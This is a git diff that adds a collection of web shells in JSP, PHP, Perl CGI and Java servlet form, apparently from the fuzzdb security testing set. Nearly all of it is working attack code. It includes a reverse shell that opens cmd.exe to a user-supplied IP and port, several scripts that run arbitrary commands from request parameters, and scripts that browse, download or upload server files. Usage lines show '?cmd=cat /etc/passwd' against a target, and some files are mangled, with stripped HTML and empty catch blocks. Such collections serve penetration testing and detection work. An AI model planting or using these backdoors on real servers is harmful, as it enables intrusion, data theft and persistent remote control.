    + + diff --git a/fuzzdb-webshell/jsp/jsp-reverse.jsp b/fuzzdb-webshell/jsp/jsp-reverse.jsp new file mode 100644 index 0000000..ae9a781 --- /dev/null +++ b/fuzzdb-webshell/jsp/jsp-reverse.jsp @@ -0,0 +1,91 @@ +// backdoor.jsp +// http://www.security.org.sg/code/jspreverse.html + +<%@ +page import="java.lang.*, java.util.*, java.io.*, java.net.*" +% > +<%! +static class StreamConnector extends Thread +{ + InputStream is; + OutputStream os; + + StreamConnector(InputStream is, OutputStream os) + { + this.is = is; + this.os = os; + } + + public void run() + { + BufferedReader isr = null; + BufferedWriter osw = null; + + try + { + isr = new BufferedReader(new InputStreamReader(is)); + osw = new BufferedWriter(new OutputStreamWriter(os)); + + char buffer[] = new char[8192]; + int lenRead; + + while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0) + { + osw.write(buffer, 0, lenRead); + osw.flush(); + } + } + catch (Exception ioe) + + try + { + if(isr != null) isr.close(); + if(osw != null) osw.close(); + } + catch (Exception ioe) + } +} +%> + +

    JSP Backdoor Reverse Shell

    + +
    +IP Address + +Port + + +
    +

    +


    + +<% +String ipAddress = request.getParameter("ipaddress"); +String ipPort = request.getParameter("port"); + +if(ipAddress != null && ipPort != null) +{ + Socket sock = null; + try + { + sock = new Socket(ipAddress, (new Integer(ipPort)).intValue()); + + Runtime rt = Runtime.getRuntime(); + Process proc = rt.exec("cmd.exe"); + + StreamConnector outputConnector = + new StreamConnector(proc.getInputStream(), + sock.getOutputStream()); + + StreamConnector inputConnector = + new StreamConnector(sock.getInputStream(), + proc.getOutputStream()); + + outputConnector.start(); + inputConnector.start(); + } + catch(Exception e) +} +%> + + diff --git a/fuzzdb-webshell/jsp/list.jsp b/fuzzdb-webshell/jsp/list.jsp new file mode 100644 index 0000000..eb0db3a --- /dev/null +++ b/fuzzdb-webshell/jsp/list.jsp @@ -0,0 +1,77 @@ +<%@ page import="java.util.*,java.io.*"%> +<% +// +// JSP_KIT +// +// list.jsp = Directory & File View +// +// by: Sierra +// modified: 27/06/2003 +// +%> +<% +if(request.getParameter("file")==null) { + %> + +
    + + +
    + <% + } +%> +<% //read the file name. +try { +File f = new File(request.getParameter("file")); +if(f.isDirectory()) { + int i; + String fname = new String("Unknown"); + String fcolor = new String("Black"); + %> + + + <% + out.print("Path: " + f.toString() + "

    "); + File flist[] = f.listFiles(); + for(i=0; i" + fname.toString() + " " + "( Size: " + flist[i].length() + " bytes)
    \n"); + } + %> +
    + <% + + } else { + if(f.canRead() == true) { + InputStream in = new FileInputStream(f); + ServletOutputStream outs = response.getOutputStream(); + int left = 0; + try { + while((left) >= 0 ) { + left = in.read(); + outs.write(left); + } + } catch(IOException ex) {ex.printStackTrace();} + outs.flush(); + outs.close(); + in.close(); + } else { + out.print("Can't Read file
    "); + } + } +} catch(Exception ex) {ex.printStackTrace();} +%> \ No newline at end of file diff --git a/fuzzdb-webshell/jsp/up.jsp b/fuzzdb-webshell/jsp/up.jsp new file mode 100644 index 0000000..5df5d0d --- /dev/null +++ b/fuzzdb-webshell/jsp/up.jsp @@ -0,0 +1,162 @@ + +<%@ page import="java.io.*,java.util.*,javax.servlet.*" %> +<% +// +// JSP_KIT +// +// up.jsp = File Upload (unix) +// +// by: Unknown +// modified: 27/06/2003 +// +%> + +
    + + +
    + +<%! +public String getBoundary(HttpServletRequest request,Properties prop) throws ServletException,IOException{ + String boundary = null; + Enumeration enum = request.getHeaderNames(); + while(enum.hasMoreElements()){ + String header = (String)enum.nextElement(); + String hvalue = request.getHeader(header); + prop.setProperty((header).toLowerCase(),hvalue); + if("content-type".equalsIgnoreCase(header) ){ + int idx = hvalue.lastIndexOf("boundary="); + if(idx != -1 ){ + boundary= hvalue.substring(idx+9 , hvalue.length()); + } + } + } + return boundary; + +} +public String getFileName(String secondline){ + int len = secondline.length(); + int idx = secondline.lastIndexOf("filename="); + if(idx == -1 ) return null; + String filename = secondline.substring(idx+10 , len-1); + filename = filename.replace('\\','/'); + idx = filename.lastIndexOf("/"); + idx = idx + 1; + filename = filename.substring( idx ); + return filename; +} +%> +<% +String DPATH = "/tmp/"; +int ROUGHSIZE = 640000; // BUG: Corta el fichero si es mayor de 640Ks +int MAXSIZE = 10; // 10 Mega Byte +String boundary = getBoundary(request,prop); +if(boundary == null ){ + boundary = prop.getProperty("boundary"); + }else{ + boundary = "--"+boundary; + } +if(boundary == null ){ + return; + } +Long contentsize = new Long(prop.getProperty("content-length","0")); +int c; +StringWriter st = new StringWriter(); +if(contentsize.longValue() < 1L ){ + return; + } +long l = contentsize.longValue() - ROUGHSIZE; +int KB = 1024; +int MB = 1024 * KB; +int csize = (int)(l / MB); +if(csize > MAXSIZE ){ + return; + } +ServletInputStream fin = request.getInputStream(); +int cn; +int count=0; +while((c=fin.read()) != -1 ){ + if( c == '\r') break; + st.write(c); + count++; + } +c=fin.read(); +String tboundary = st.getBuffer().toString(); +tboundary=tboundary.trim(); +if(! tboundary.equalsIgnoreCase( boundary) ){ + return; + } +st.close(); +st = null; +st = new StringWriter(); +while((c=fin.read()) != -1 ){ + if( c == '\r' ) break; + st.write(c); + } +c=fin.read(); +String secondline = st.getBuffer().toString(); +String filename = getFileName(secondline); +st.close(); +st = null; +st = new StringWriter(); +while((c=fin.read()) != -1 ){ + if( c == '\r' ) break; + st.write( c ); + } +c=fin.read(); + +fin.read(); +fin.read(); +File newfile = null; +FileOutputStream fout =null; +try{ + if(filename == null) throw new FileNotFoundException("File Name not found"); + newfile = new File(DPATH+filename); + fout = new FileOutputStream( newfile ); + }catch(FileNotFoundException fnexp){ + fin.close(); + return; + } + +byte b[] = null; +while(l > 1024L){ + b = new byte[1024]; + fin.read(b,0,1024); + fout.write(b); + b=null; + l -= 1024L; + } +if(l > 0){ + b = new byte[(int)l]; + fin.read(b,0,(int)l); + fout.write(b); + } + + +ByteArrayOutputStream baos = new ByteArrayOutputStream(); +while((c = fin.read()) != -1){ + baos.write(c); + } +String laststring = baos.toString(); +int idx = laststring.indexOf(boundary); +b = baos.toByteArray(); +if(idx > 2){ + fout.write(b,0,idx-2); + }else{ + fout.close(); + newfile.delete(); + return; + } +fout.flush(); +fout.close(); +fin.close(); + +out.println("FileName: " + newfile.getName()); +out.println("FileSize: " + newfile.length()); + +%> + + + + + diff --git a/fuzzdb-webshell/jsp/win32/cmd_win32.jsp b/fuzzdb-webshell/jsp/win32/cmd_win32.jsp new file mode 100644 index 0000000..21f2bdc --- /dev/null +++ b/fuzzdb-webshell/jsp/win32/cmd_win32.jsp @@ -0,0 +1,31 @@ +<%@ page import="java.util.*,java.io.*,java.net.*"%> +<% +// +// JSP_KIT +// +// cmd.jsp = Command Execution (win32) +// +// by: Unknown +// modified: 27/06/2003 +// +%> + +
    + + +
    +
    +<%
    +if (request.getParameter("cmd") != null) {
    +        out.println("Command: " + request.getParameter("cmd") + "\n
    "); + Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd")); + OutputStream os = p.getOutputStream(); + InputStream in = p.getInputStream(); + DataInputStream dis = new DataInputStream(in); + String disr = dis.readLine(); + while ( disr != null ) { + out.println(disr); disr = dis.readLine(); } + } +%> +
    + \ No newline at end of file diff --git a/fuzzdb-webshell/jsp/win32/up_win32.jsp b/fuzzdb-webshell/jsp/win32/up_win32.jsp new file mode 100644 index 0000000..ff977ac --- /dev/null +++ b/fuzzdb-webshell/jsp/win32/up_win32.jsp @@ -0,0 +1,162 @@ + +<%@ page import="java.io.*,java.util.*,javax.servlet.*" %> +<% +// +// JSP_KIT +// +// up.jsp = File Upload (win32) +// +// by: Unknown +// modified: 27/06/2003 +// +%> + +
    + + +
    + +<%! +public String getBoundary(HttpServletRequest request,Properties prop) throws ServletException,IOException{ + String boundary = null; + Enumeration enum = request.getHeaderNames(); + while(enum.hasMoreElements()){ + String header = (String)enum.nextElement(); + String hvalue = request.getHeader(header); + prop.setProperty((header).toLowerCase(),hvalue); + if("content-type".equalsIgnoreCase(header) ){ + int idx = hvalue.lastIndexOf("boundary="); + if(idx != -1 ){ + boundary= hvalue.substring(idx+9 , hvalue.length()); + } + } + } + return boundary; + +} +public String getFileName(String secondline){ + int len = secondline.length(); + int idx = secondline.lastIndexOf("filename="); + if(idx == -1 ) return null; + String filename = secondline.substring(idx+10 , len-1); + filename = filename.replace('\\','/'); + idx = filename.lastIndexOf("/"); + idx = idx + 1; + filename = filename.substring( idx ); + return filename; +} +%> +<% +String DPATH = "c:\\"; +int ROUGHSIZE = 640000; // BUG: Corta el fichero si es mayor de 640Ks +int MAXSIZE = 10; // 10 Mega Byte +String boundary = getBoundary(request,prop); +if(boundary == null ){ + boundary = prop.getProperty("boundary"); + }else{ + boundary = "--"+boundary; + } +if(boundary == null ){ + return; + } +Long contentsize = new Long(prop.getProperty("content-length","0")); +int c; +StringWriter st = new StringWriter(); +if(contentsize.longValue() < 1L ){ + return; + } +long l = contentsize.longValue() - ROUGHSIZE; +int KB = 1024; +int MB = 1024 * KB; +int csize = (int)(l / MB); +if(csize > MAXSIZE ){ + return; + } +ServletInputStream fin = request.getInputStream(); +int cn; +int count=0; +while((c=fin.read()) != -1 ){ + if( c == '\r') break; + st.write(c); + count++; + } +c=fin.read(); +String tboundary = st.getBuffer().toString(); +tboundary=tboundary.trim(); +if(! tboundary.equalsIgnoreCase( boundary) ){ + return; + } +st.close(); +st = null; +st = new StringWriter(); +while((c=fin.read()) != -1 ){ + if( c == '\r' ) break; + st.write(c); + } +c=fin.read(); +String secondline = st.getBuffer().toString(); +String filename = getFileName(secondline); +st.close(); +st = null; +st = new StringWriter(); +while((c=fin.read()) != -1 ){ + if( c == '\r' ) break; + st.write( c ); + } +c=fin.read(); + +fin.read(); +fin.read(); +File newfile = null; +FileOutputStream fout =null; +try{ + if(filename == null) throw new FileNotFoundException("File Name not found"); + newfile = new File(DPATH+filename); + fout = new FileOutputStream( newfile ); + }catch(FileNotFoundException fnexp){ + fin.close(); + return; + } + +byte b[] = null; +while(l > 1024L){ + b = new byte[1024]; + fin.read(b,0,1024); + fout.write(b); + b=null; + l -= 1024L; + } +if(l > 0){ + b = new byte[(int)l]; + fin.read(b,0,(int)l); + fout.write(b); + } + + +ByteArrayOutputStream baos = new ByteArrayOutputStream(); +while((c = fin.read()) != -1){ + baos.write(c); + } +String laststring = baos.toString(); +int idx = laststring.indexOf(boundary); +b = baos.toByteArray(); +if(idx > 2){ + fout.write(b,0,idx-2); + }else{ + fout.close(); + newfile.delete(); + return; + } +fout.flush(); +fout.close(); +fin.close(); + +out.println("FileName: " + newfile.getName()); +out.println("FileSize: " + newfile.length()); + +%> + + + + + diff --git a/fuzzdb-webshell/php/cmd.php b/fuzzdb-webshell/php/cmd.php new file mode 100644 index 0000000..3f8f4da --- /dev/null +++ b/fuzzdb-webshell/php/cmd.php @@ -0,0 +1,25 @@ + + +
    + + +
    +
    +
    +
    + + + diff --git a/fuzzdb-webshell/php/list.php b/fuzzdb-webshell/php/list.php new file mode 100644 index 0000000..6dd8098 --- /dev/null +++ b/fuzzdb-webshell/php/list.php @@ -0,0 +1,33 @@ + + +" . $filename . "
    "; + } + closedir($handle); + } else { + echo "FILE: " . $fichero . "

    ";
    +  $fp = fopen($fichero, "r");
    +  $buffer = fread($fp, filesize($fichero));
    +  echo $buffer;
    +  fclose($fp);
    +  }
    +
    +?>
    \ No newline at end of file
    diff --git a/fuzzdb-webshell/php/php-backdoor.php b/fuzzdb-webshell/php/php-backdoor.php
    new file mode 100644
    index 0000000..7defd37
    --- /dev/null
    +++ b/fuzzdb-webshell/php/php-backdoor.php
    @@ -0,0 +1,71 @@
    +";
    +        if ($handle = opendir("$d")) {
    +        echo "

    listing of $d

    "; + while ($dir = readdir($handle)){ + if (is_dir("$d/$dir")) echo ""; + else echo ""; + echo "$dir\n"; + echo ""; + } + + } else echo "opendir() failed"; + closedir($handle); + die ("
    "); +} +if(isset($_REQUEST['c'])){ + echo "
    ";
    +	system($_REQUEST['c']);		   
    +	die;
    +}
    +if(isset($_REQUEST['upload'])){
    +
    +		if(!isset($_REQUEST['dir'])) die('hey,specify directory!');
    +			else $dir=$_REQUEST['dir'];
    +		$fname=$HTTP_POST_FILES['file_name']['name'];
    +		if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fname))
    +			die('file uploading error.');
    +}
    +if(isset($_REQUEST['mquery'])){
    +	
    +	$host=$_REQUEST['host'];
    +	$usr=$_REQUEST['usr'];
    +	$passwd=$_REQUEST['passwd'];
    +	$db=$_REQUEST['db'];
    +	$mquery=$_REQUEST['mquery'];
    +	mysql_connect("$host", "$usr", "$passwd") or
    +    die("Could not connect: " . mysql_error());
    +    mysql_select_db("$db");
    +    $result = mysql_query("$mquery");
    +	if($result!=FALSE) echo "

    query was executed correctly

    \n"; + while ($row = mysql_fetch_array($result,MYSQL_ASSOC)) print_r($row); + mysql_free_result($result); + die; +} +?> +
    execute command:
    +
    +upload file: to dir:   
    +
    to browse go to http://?d=[directory here] +
    for example: +http://?d=/etc on *nix +or http://?d=c:/windows on win +
    execute mysql query: +
    +host: user: password: + +database: query: +
    + + diff --git a/fuzzdb-webshell/php/simple-backdoor.php b/fuzzdb-webshell/php/simple-backdoor.php new file mode 100644 index 0000000..bc0e778 --- /dev/null +++ b/fuzzdb-webshell/php/simple-backdoor.php @@ -0,0 +1,17 @@ + + +"; + $cmd = ($_REQUEST['cmd']); + system($cmd); + echo "
    "; + die; +} + +?> + +Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd + + diff --git a/fuzzdb-webshell/php/up.php b/fuzzdb-webshell/php/up.php new file mode 100644 index 0000000..5dd0797 --- /dev/null +++ b/fuzzdb-webshell/php/up.php @@ -0,0 +1,33 @@ + + + + +
    + +

    Local File: +

    Remote File: + +




    + + + + + diff --git a/fuzzdb-webshell/pl-cgi/cmd.pl b/fuzzdb-webshell/pl-cgi/cmd.pl new file mode 100644 index 0000000..f529295 --- /dev/null +++ b/fuzzdb-webshell/pl-cgi/cmd.pl @@ -0,0 +1,67 @@ +#!/usr/bin/perl +# +# PerlKit-0.1 - http://www.t0s.org +# +# cmd.pl: Run commands on a webserver + +use strict; + +my ($cmd, %FORM); + +$|=1; + +print "Content-Type: text/html\r\n"; +print "\r\n"; + +# Get parameters + +%FORM = parse_parameters($ENV{'QUERY_STRING'}); + +if(defined $FORM{'cmd'}) { + $cmd = $FORM{'cmd'}; +} + +print ' + +
    + + +
    +
    ';
    +
    +if(defined $FORM{'cmd'}) {
    +  print "Results of '$cmd' execution:\n\n";
    +  print "-"x80;
    +  print "\n";
    +
    +  open(CMD, "($cmd) 2>&1 |") || print "Could not execute command";
    +
    +  while() {
    +    print;
    +  }
    +
    +  close(CMD);
    +  print "-"x80;
    +  print "\n";
    +}
    +
    +print "
    "; + +sub parse_parameters ($) { + my %ret; + + my $input = shift; + + foreach my $pair (split('&', $input)) { + my ($var, $value) = split('=', $pair, 2); + + if($var) { + $value =~ s/\+/ /g ; + $value =~ s/%(..)/pack('c',hex($1))/eg; + + $ret{$var} = $value; + } + } + + return %ret; +} diff --git a/fuzzdb-webshell/pl-cgi/list.pl b/fuzzdb-webshell/pl-cgi/list.pl new file mode 100644 index 0000000..62b28eb --- /dev/null +++ b/fuzzdb-webshell/pl-cgi/list.pl @@ -0,0 +1,116 @@ +#!/usr/bin/perl +# +# PerlKit-0.1 - http://www.t0s.org +# +# browse.pl: Browse and download files from a webserver + +use strict; + +my ($path, %FORM); + +$|=1; + + +# Get parameters + +%FORM = parse_parameters($ENV{'QUERY_STRING'}); + +if(defined $FORM{'path'}) { + $path = $FORM{'path'}; + + +} else { + $path = "/"; +} + +if(-f $path) { # Download selected file + print "Content-Type: application/octet-stream\r\n"; + print "\r\n"; + open(FILE, "< $path") || print "Could not open file\n"; + + while() { + print; + } + + close(FILE); + exit; +} + +print "Content-Type: text/html\r\n"; +print "\r\n"; + +print ' + +
    + + +
    +Directory ' . $path . ' contents: +

    + +'; + +if(defined $FORM{'path'}) { + + opendir(DIR, $path) || print "Could not open directory"; + + foreach (sort(readdir(DIR))) { + print get_fileinfo($path, $_). "\n"; + } + + closedir(DIR); + +} + +print "
    "; + +sub parse_parameters ($) { + my %ret; + + my $input = shift; + + foreach my $pair (split('&', $input)) { + my ($var, $value) = split('=', $pair, 2); + + if($var) { + $value =~ s/\+/ /g ; + $value =~ s/%(..)/pack('c',hex($1))/eg; + + $ret{$var} = $value; + } + } + + return %ret; +} + +sub get_fileinfo ($$) { + my $ret; + + my ($dir,$filename) = @_; + my $file = $dir . "/" . $filename; + + $file=~s/\/+/\//g; + + $ret = ""; + + $ret .= ""; + + if(-d $file) { + $file=~s/\/[^\/]+\/\.\./\//g; + $ret .= "$filename"; + } else { + $ret .= "$filename [D]" ; + } + $ret .= ""; + + my ($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size, $atime,$mtime,$ctime,$blksize,$blocks) = stat($file); + + $ret .= " "; + $ret .= "$size"; + $ret .= "". getpwuid($uid) .""; + $ret .= "". getgrgid($gid) .""; + + $ret .= ""; + + return $ret; +} diff --git a/fuzzdb-webshell/pl-cgi/perlcmd.cgi b/fuzzdb-webshell/pl-cgi/perlcmd.cgi new file mode 100644 index 0000000..05ac4db --- /dev/null +++ b/fuzzdb-webshell/pl-cgi/perlcmd.cgi @@ -0,0 +1,34 @@ +#!/usr/bin/perl -w + +use strict; + +print "Cache-Control: no-cache\n"; +print "Content-type: text/html\n\n"; + +my $req = $ENV{QUERY_STRING}; + chomp ($req); + $req =~ s/%20/ /g; + $req =~ s/%3b/;/g; + +print ""; + +print ''; + + if (!$req) { + print "Usage: http://target.com/perlcmd.cgi?cat /etc/passwd"; + } + else { + print "Executing: $req"; + } + + print "

    ";
    +	my @cmd = `$req`;
    +	print "
    "; + + foreach my $line (@cmd) { + print $line . "
    "; + } + +print ""; + +# diff --git a/fuzzdb-webshell/pl-cgi/up.pl b/fuzzdb-webshell/pl-cgi/up.pl new file mode 100644 index 0000000..9522cfc --- /dev/null +++ b/fuzzdb-webshell/pl-cgi/up.pl @@ -0,0 +1,555 @@ +#!/usr/bin/perl +###################################################### +# upload a file with netscape 2.0+ or IE 4.0+ +# Muhammad A Muquit +# When: Long time ago +# Changelog: +# James Bee" reported that from Windows filename +# such as c:\foo\fille.x saves as c:\foo\file.x, Fixed, Jul-22-1999 +# Sep-30-2000, muquit@muquit.com +# changed the separator in count.db to | from : +# As in NT : can be a part of a file path, e.g. c:/foo/foo.txt +###################################################### +# +# $Revision: 5 $ +# $Author: Muquit $ +# $Date: 3/28/04 9:38p $ + +#use strict; +use CGI; +# if you want to restrict upload a file size (in bytes), uncomment the +# next line and change the number + +#$CGI::POST_MAX=50000; + +$|=1; + +my $version="V1.4"; + +## vvvvvvvvvvvvvvvvvvv MODIFY vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv + +# the text database of the user. The text database contains the | +# separated items, namely login|encrypted password|upload path +# example: muquit|fhy687kq1hger|/usr/local/web/upload/muquit +# if no path is specified, the file must be located in the cgi-bin directory. + +#my $g_upload_db="upload.db"; + +# overwrite the existing file or not. Default is to overwrite +# chanage the value to 0 if you do not want to overwrite an existing file. +my $g_overwrite=1; + +# if you want to restrict upload to files with certain extentions, change +# the value of $g_restrict_by_ext=1 and ALSO modify the @g_allowed_ext if you +# want to add other allowable extensions. +my $g_restrict_by_ext=0; +# case insensitive, so file with Jpeg JPEG GIF gif etc will be allowed +my @g_allowed_ext=("jpeg","jpg","gif","png"); + +## ^^^^^^^^^^^^^^^^^^^ MODIFY ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + + + +#-------------- globals---------- STARTS ------------------ +my $query=new CGI; +my $g_debug=0; + + +my $g_title="File upload"; +my $g_upload_path='/tmp'; + +#-------------- globals---------- ENDS ------------------ + + +print $query->header; + +# Java Script for form validation +# +my $JSCRIPT=<path_info eq "/author" or $query->path_info eq "/about") +{ + &printForm; + &printAuthorInfo; + return; +} + +if ($query->param) +{ + &doWork(); +} +else +{ + &printForm(); +} + +##----- +# printForm() - print the HTML form +##----- +sub printForm +{ + + print "
    \n"; + print "\n"; + + print $query->start_multipart_form,"\n"; + + #------------- userid + #print "\n"; + #print "\n"; + + #print "\n"; + #print "\n"; + + #------------- password + #print "\n"; + #print "\n"; + + #print "\n"; + #print "\n"; + + #------------- upload + print "\n"; + print "\n"; + + print "\n"; + print "\n"; + + + + #------------- submit + print "\n"; + print "\n"; + print "\n"; + + + + print $query->endform,"\n"; + + print "
    \n"; + #print "Userid:\n"; + #print "\n"; + #print $query->textfield(-name=>'userid', + # -size=>20); + #print "
    \n"; + #print "Password:\n"; + #print "\n"; + #print $query->password_field(-name=>'password', + # -size=>20); + #print "
    \n"; + print "Upload file:\n"; + print "\n"; + print $query->filefield(-name=>'upload_file', + -size=>30, + -maxlength=>80); + print "
    \n"; + print "
    \n"; + print $query->submit(-label=>'Upload', + -value=>'Upload', + -onClick=>"return ValidateAllFields(this.form)"),"\n"; + print "
    \n"; + print "
    \n"; +} + + + +##------ +# printHTMLHeader() +##------ +sub printHTMLHeader +{ + print $query->start_html( + -title=>"$g_title", + -script=>$JSCRIPT, + -bgcolor=>"#ffffff", + -link=>"#ffff00", + -vlink=>"#00ffff", + -alink=>"#ffff00", + -text=>"#000000"); +} + +##------- +# doWork() - upload file +##------- +sub doWork +{ + ################## + my $em=''; + ################## + + + # import the paramets into a series of variables in 'q' namespace + $query->import_names('q'); + # check if the necessary fields are empty or not + #$em .= "
    You must specify your Userid!
    " if !$q::userid; + #$em .= "You must specify your Password!
    " if !$q::password; + $em .= "You must select a file to upload!
    " if !$q::upload_file; + + &printForm(); + if ($em) + { + &printError($em); + return; + } + + #if (&validateUser() == 0) + #{ + # &printError("Will not upload! Could not validate Userid: $q::userid"); + # return; + #} + + # if you want to restrict upload to files with certain extention + if ($g_restrict_by_ext == 1) + { + my $file=$q::upload_file; + my @ta=split('\.',$file); + my $sz=scalar(@ta); + if ($sz > 1) + { + my $ext=$ta[$sz-1]; + if (! grep(/$ext/i,@g_allowed_ext)) + { + &printError("You are not allowed to upload this file"); + return; + } + + } + else + { + &printError("You are not allowed to upload this file"); + return; + } + } + + # now upload file + &uploadFile(); + + if ($g_debug == 1) + { + my @all=$query->param; + my $name; + foreach $name (@all) + { + print "$name ->", $query->param($name),"
    \n"; + } + } +} + +##------ +# printError() - print error message +##------ +sub printError +{ + my $em=shift; + print< +
    + + + + + +
    + + + + +
    + + Error - + $em
    +
    +
    +EOF +; +} + +##-- +# validate login name +# returns 1, if validated successfully +# 0 if validation fails due to password or non existence of login +# name in text database +##-- +sub validateUser +{ + my $rc=0; + my ($u,$p); + #my $userid=$query->param('userid'); + #my $plain_pass=$query->param('password'); + + # open the text database + unless(open(PFD,$g_upload_db)) + { + my $msg=< +Reason: $! +
    +Make sure that your web server has read permission to read it. +EOF +; + &printError("$msg"); + return; + } + + # first check if user exist + $g_upload_path=''; + my $line=''; + while () + { + $line=$_; + chomp($line); + # get rid of CR + $line =~ s/\r$//g; + ($u,$p,$g_upload_path)=split('\|',$line); + #if ($userid eq $u) + #{ + # $rc=1; + # last; + #} + } + close(PFD); + + if (crypt($plain_pass,$p) ne $p) + { + $rc=0; + } + + return ($rc); +} + +##-------- +# uploadFile() +##-------- +sub uploadFile +{ + my $bytes_read=0; + my $size=''; + my $buff=''; + my $start_time; + my $time_took; + my $filepath=''; + my $filename=''; + my $write_file=''; + + $filepath=$query->param('upload_file'); + + # James Bee" reported that from Windows filename + # such as c:\foo\fille.x saves as c:\foo\file.x, so we've to get the + # filename out of it + # look at the last word, hold 1 or more chars before the end of the line + # that doesn't include / or \, so it will take care of unix path as well + # if it happens, muquit, Jul-22-1999 + if ($filepath =~ /([^\/\\]+)$/) + { + $filename="$1"; + } + else + { + $filename="$filepath"; + } + # if there's any space in the filename, get rid of them + $filename =~ s/\s+//g; + + $write_file="$g_upload_path" . "/" . "$filename"; + + &print_debug("Filename=$filename"); + &print_debug("Writefile= $write_file"); + + if ($g_overwrite == 0) + { + if (-e $write_file) + { + &printError("File $filename exists, will not overwrite!"); + return; + } + } + + if (!open(WFD,">$write_file")) + { + my $msg=<$write_file +
    +It could be: +
      +
    1. The upload directory: \"$g_upload_path\" does not have write permission for the +web server. +
    2. The upload.db file has Control character at the end of line +
    +EOF +; + + &printError("$msg"); + return; + } + + $start_time=time(); + while ($bytes_read=read($filepath,$buff,2096)) + { + $size += $bytes_read; + binmode WFD; + print WFD $buff; + } + + &print_debug("size= $size"); + + close(WFD); + + if ((stat $write_file)[7] <= 0) + { + unlink($write_file); + &printError("Could not upload file: $filename"); + return; + } + else + { + $time_took=time()-$start_time; + print< +
    + + + + + +
    + + + + +
    + + File + $filename of size + $size bytes is + uploaded successfully! + +
    +
    + +EOF +; + } +} + +sub printAuthorInfo +{ + my $url="http://www.muquit.com/muquit/"; + my $upl_url="http://muquit.com/muquit/software/upload_pl/upload_pl.html"; + print< +
    + + + + + +
    + + + + +
    + + + upload.pl $version by + Muhammad A Muquit + +
    +
    + +EOF +; +} + +sub print_debug +{ + my $msg=shift; + if ($g_debug) + { + print "(debug) $msg
    \n"; + } +} diff --git a/fuzzdb-webshell/servlet/CmdServlet.java b/fuzzdb-webshell/servlet/CmdServlet.java new file mode 100644 index 0000000..f9cb31a --- /dev/null +++ b/fuzzdb-webshell/servlet/CmdServlet.java @@ -0,0 +1,43 @@ +/* + * CmdServlet.java 20/01/2004 + * + * @author The Dark Raver + * @version 0.1 + */ + +import java.io.*; +import javax.servlet.*; +import javax.servlet.http.*; + + +public class CmdServlet extends HttpServlet { + + public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException { + res.setContentType("text/html"); + + PrintWriter out = res.getWriter(); + out.print(""); + out.print("

    "); + out.print(""); + out.print(""); + out.print("
    "); + + if(req.getParameter("cmd") != null) { + out.print("\n

    Command: " + req.getParameter("cmd") + "\n


    \n");
    +	        Process p = Runtime.getRuntime().exec("cmd /c " + req.getParameter("cmd"));
    +	        DataInputStream procIn = new DataInputStream(p.getInputStream());
    +			int c='\0';
    +        	while ((c=procIn.read()) != -1) {
    +				out.print((char)c);
    +				}
    +	        }
    +
    +		out.print("\n
    "); + out.print(""); + } + + public String getServletInfo() { + return "CmdServlet 0.1"; + } + +} diff --git a/fuzzdb-webshell/servlet/ListServlet.java b/fuzzdb-webshell/servlet/ListServlet.java new file mode 100644 index 0000000..1d97304 --- /dev/null +++ b/fuzzdb-webshell/servlet/ListServlet.java @@ -0,0 +1,86 @@ +/* + * ListServlet.java + * + * @author Sierra + * @version 0.1 + */ + +import java.io.*; +import javax.servlet.ServletException; +import javax.servlet.http.*; + +public class ListServlet extends HttpServlet +{ + + + public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException { + PrintWriter printwriter = res.getWriter(); + String path = req.getParameter("file"); + + printwriter.write("\n\nDirectory Listing\n\n\n"); + printwriter.write("\n"); + if(req.getParameter("file")==null) path = "c:\\"; + printwriter.write("

    Path: " + path + "


    \n");
    +
    +		File file = new File(path);
    +
    +		if(file.isDirectory())
    +		{
    +			String s = new String("Unknown");
    +			String s2 = new String("Black");
    +			File afile[] = file.listFiles();
    +			for(int i = 0; i < afile.length; i++)
    +			{
    +				String s1 = new String(afile[i].toString());
    +				printwriter.write("(");
    +				String s3;
    +				if(afile[i].isDirectory())
    +				{
    +					printwriter.write("d");
    +					s1 = s1 + "/";
    +					s3 = new String("Blue");
    +				} else
    +				if(afile[i].isFile())
    +				{
    +					printwriter.write("-");
    +					s3 = new String("Green");
    +				} else
    +				{
    +					printwriter.write("?");
    +					s3 = new String("Red");
    +				}
    +				if(afile[i].canRead())
    +					printwriter.write("r");
    +				else
    +					printwriter.write("-");
    +				if(afile[i].canWrite())
    +					printwriter.write("w");
    +				else
    +					printwriter.write("-");
    +				printwriter.write(") " + s1.toString() + " " + "( Size: " + afile[i].length() + " bytes )
    \n"); + } + + printwriter.write("
    "); + } else + if(file.canRead()) + { + FileInputStream fileinputstream = new FileInputStream(file); + int j = 0; + while(j >= 0) + { + j = fileinputstream.read(); + printwriter.write(j); + } + fileinputstream.close(); + } else + { + printwriter.write("Can't Read file
    "); + } + + } + + + public String getServletInfo() { + return "Directory Listing"; + } +} \ No newline at end of file diff --git a/fuzzdb-webshell/servlet/UpServlet.java b/fuzzdb-webshell/servlet/UpServlet.java new file mode 100644 index 0000000..4936667 --- /dev/null +++ b/fuzzdb-webshell/servlet/UpServlet.java @@ -0,0 +1,71 @@ +/* + * UpServlet.java 29/04/2005 + * + * @author The Dark Raver + * @version 0.1 + */ + +import java.io.*; +import javax.servlet.*; +import javax.servlet.http.*; + + +public class UpServlet extends HttpServlet { + + public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException { + res.setContentType("text/html"); + PrintWriter out = res.getWriter(); + out.print(""); + out.print("
    "); + out.print("UPLOAD "); + out.print(""); + out.print("
    "); + out.print(""); + } + + + public void doPost(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException { + String tag = new String(); + int c = '\0'; + int contador = 0; + ServletInputStream in = req.getInputStream(); + DataInputStream post = new DataInputStream(in); + + PrintWriter out = res.getWriter(); + res.setContentType("text/html"); + out.print("
    ");
    +
    +		while((c=post.read()) != -1 && c != '\r' && c != '\n') {
    +			tag=tag.concat("" + (char)c);
    +			contador++;
    +			}
    +
    +		for(int i=0; i <4; i++) while((c=post.read()) != -1 && c != '\n') contador++;
    +
    +		// out.print("CONTENT_LEN = " + req.getContentLength() + " / TAG = [" + tag + "] / TAG_LEN = " + tag.length() + "\n");
